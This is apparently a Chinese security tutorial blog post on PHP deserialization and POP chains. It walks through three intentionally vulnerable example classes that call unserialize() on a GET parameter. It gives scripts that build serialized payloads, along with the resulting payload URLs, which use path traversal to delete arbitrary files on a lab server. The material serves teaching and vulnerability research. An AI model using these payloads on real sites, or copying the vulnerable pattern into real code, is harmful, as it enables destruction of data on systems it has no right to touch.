反序列化| 我欲修仙,法力无边。

时间:2022-05-06
本文章向大家介绍反序列化| 我欲修仙,法力无边。,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

0x00 背景

最近都在写反序列化漏洞的知识,本着循序渐进的过程,本篇研究到了反序列化与POP CHAIN相关的知识。在探索这方面知识的过程中,请教了许多师傅们并获得了相关案例和教科书般的文章,收获很多。今天斗哥就带着萌新们初探反序列化与POP CHAIN的相关知识。

什么是POP CHAIN?这里给出我自己的理解:把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。

0x01 从基础的反序列化漏洞开始

从一个基础的反序列化漏洞示例回顾下反序列化漏洞利用过程,如下代码使用了__destruct()魔术方法在执行完PHP程序后执行,执行后会删除网站临时文件夹/var/www/html/cache/tmp/下名为$cache_file;的文件。由于unserialize($_GET['data']);参数的值可控;满足了反序列化unserialize()参数的值可控,魔术方法__destruct()参数可控和魔术方法可触发,这3个条件,所以此处存在反序列化漏洞且可以利用路径穿越来删除任意文件。

1.<?php
2.class Example1
3.{
4.public $cache_file;
5.
6.function __construct()
7.{
8.// some PHP code...
9.}
10.
11.function __destruct()
12.{
13.$file = "/var/www/html/cache/tmp/{$this->cache_file}";
14.if (file_exists($file)) @unlink($file);
15.}
16.}
17.$user_data = unserialize($_GET['data']);
18.?>

在站点根目录下创建文件名为thinking1的测试文件。

root@ubuntu:/var/www/html# ls

cache test.php thinking1

使用如下代码构造payload,删除/var/www/html下的thinking1文件。

1.<?php
2.class Example1
3.{
4. public $cache_file='../../thinking1';
5.
6.}
7.$evil = new Example1;
8.echo serialize($evil);
9.?>
output:
O:8:"Example1":1:{s:10:"cache_file";s:15:"../../thinking1";}

提交如下请求:

http://192.168.163.136/test.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../thinking1";}

请求结束后/var/www/html下的thinking1文件便被删除了。

root@ubuntu:/var/www/html# ls

cache test.php

0x02 反序列化中跟踪数据流

上面的Example1中任意文件删除漏洞利用的关键代码是直接放在在魔术方法中,接下来稍微修改了下Example1中的代码,并重新命名为Example2。将漏洞代码写在了普通方法Delete()中,然后在__destruct()魔术方法中,设置成在满足了某种条件下会调用了Delete()方法。

同样的unserialize($_GET['data']);参数的值可控,魔术方法__destruct()参数可控,并且跟进$this->Delete($this->cache_file);中的数据传输过程;在Delete()方法中执行了删除临时文件操作,仅是比Example1中多了在本类中跟踪数据传输的过程找到相应函数的代码块再进行分析的步骤,当然实际场景的代码比这个要复杂的多,数据传输可能较复杂。

1.<?php
2.class Example2
3.{
4. public $cache_file;
5. public $condition;
6.
7. function __construct()
8.    {
9.// some PHP code...
10.    }
11.
12. function __destruct()
13.    {   if($this->condition==='balabala')
14.        {
15. $this->Delete($this->cache_file);
16.        }
17.    }
18.
19. function Delete($filename)
20.    {   $file = "/var/www/html/cache/tmp/{$filename}";
21. if (file_exists($file)) @unlink($file);
22.    }
23.
24.}
25.
26.$user_data = unserialize($_GET['data']);
27.?>

在站点根目录下创建文件名为thinking2的测试文件。

root@ubuntu:/var/www/html# ls

cache test.php thinking2

使用如下代码构造payload,删除/var/www/html下的thinking2文件。

1.<?php
2.class Example2
3.{
4. public $cache_file = '../../thinking2';
5. public $condition = 'balabala';
6.
7.}
8.$evil = new Example2();
9.echo serialize($evil);
10.?>
output:
O:8:"Example2":2:{s:10:"cache_file";s:15:"../../thinking2";s:9:"condition";s:8:"balabala";}

payload:

http://192.168.163.136/test.php?data=O:8:"Example2":2:{s:10:"cache_file";s:15:"../../thinking2";s:9:"condition";s:8:"balabala";}

请求结束后/var/www/html下的thinking2文件便被删除。

0x03 反序列化中简单的 POP 链

本示例代码参考自l3m0n博客中的示例再结合本篇的示例撰写,在Example2中已经说到需要在当前类中跟踪魔术方法中调用的普通函数的数据传输过程;

接下来的Example3,Example4,Example5是需要在类与类之间跟踪数据传输的过程,其中Example3中的__toString魔术方法调用了Delete()方法且在代码unserialize($_GET['data']);与echo $user_data;满足反序列化函数可控和魔术方法触发的条件,接下来就需要跟踪__toString魔术方法中的数据传递过程。

跟踪寻找Delete()方法,在Example5中发现了是一个做了安全处理Delete()的方法,在Example4中也存在了一个Delete()方法,但该方法存在安全问题;

由protected $obj与$this->obj = new Example5;可知道传入的是受保护的class(需要在序列化后对数据进行编码或者在星号*前后加上%00) 所以可以通过反序列化将$obj设置为 Example4,然后就会使用 Example4中存在安全问题的Delete()方法,导致任意文件删除漏洞。

1.<?php
2.class Example3
3.{
4. protected $obj;
5.
6. function __construct()
7.    {
8. $this->obj = new Example5;
9.    }
10.
11. function __toString()
12.    {
13. if (isset($this->obj)) return $this->obj->Delete();
14.    }
15.}
16.
17.class Example4
18.{   public $cache_file;
19. function Delete()
20.    {   $file = "/var/www/html/cache/tmp/{$this->cache_file}";
21. if (file_exists($file))
22.        {
23.            @unlink($file);
24.        }
25.
26. return 'I am a evil Delete function';
27.    }
28.}
29.
30.class Example5
31.{
32. function Delete()
33.    {
34. return 'I am a safe Delete function';
35.    }
36.}
37.
38.$user_data = unserialize($_GET['data']);
39.echo $user_data;
40.?>

在站点根目录下创建文件名为thinking3的测试文件。

root@ubuntu:/var/www/html# ls

cache test.php thinking3

使用如下代码构造payload,删除/var/www/html下的thinking3文件。

1.<?php
2.class Example3
3.{
4. protected $obj;
5.
6. function __construct()
7.    {
8. $this->obj = new Example4;
9.    }
10.
11.}
12.
13.class Example4
14.{   public $cache_file = '../../thinking3';
15.
16.}
17.
18.$evil = new Example3();
19.echo urlencode(serialize($evil));
20.?>
output:
O%3A8%3A%22Example3%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A8%3A%22Example4%22%3A1%3A%7Bs%3A10%3A%22cache_file%22%3Bs%3A15%3A%22..%2F..%2Fthinking3%22%3B%7D%7D

payload:

http://192.168.163.136/test.php?data=O%3A8%3A%22Example3%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A8%3A%22Example4%22%3A1%3A%7Bs%3A10%3A%22cache_file%22%3Bs%3A15%3A%22..%2F..%2Fthinking3%22%3B%7D%7D

为了方便查看,仅将不可见的字符进行url编码,得到如下的payload:

http://192.168.163.136/test.php?data=O:8:"Example3":1:{s:6:"%00*%00obj";O:8:"Example4":1:{s:10:"cache_file";s:15:"../../thinking3";}}

0x04 小小总结

现在回头看开篇的POP介绍:把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。这正是分析Example3,Example4,Example5代码的过程。

本篇的反序列化与POP CHAIN内容较浅显,重在帮助大家理清楚反序列化与POP CHAIN的利用过程和方式,实际场景中代码肯定是更为复杂的,跟踪数据的时候也是需要花费精力仔细观察的,反序列化对象注入漏洞分析类的文章可以参考P师傅和l3m0n师傅以及如下文章,最后感谢师傅们和前辈的总结和分析,让后来的人学习到了各种教科书版的操作:),期待和各位师傅们的交流和讨论。

参考链接:

1.离别歌:https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html 2.seebug:https://paper.seebug.org/39/ 3. l3m0n:https://www.cnblogs.com/iamstudy/articles/php_unserialize_pop_2.html 4. l3m0n:https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html 5. owasp:https://www.owasp.org/index.php/PHP_Object_Injection 6. 360播报:http://bobao.360.cn/learning/detail/4122.html 7. mottoin:http://www.mottoin.com/98140.html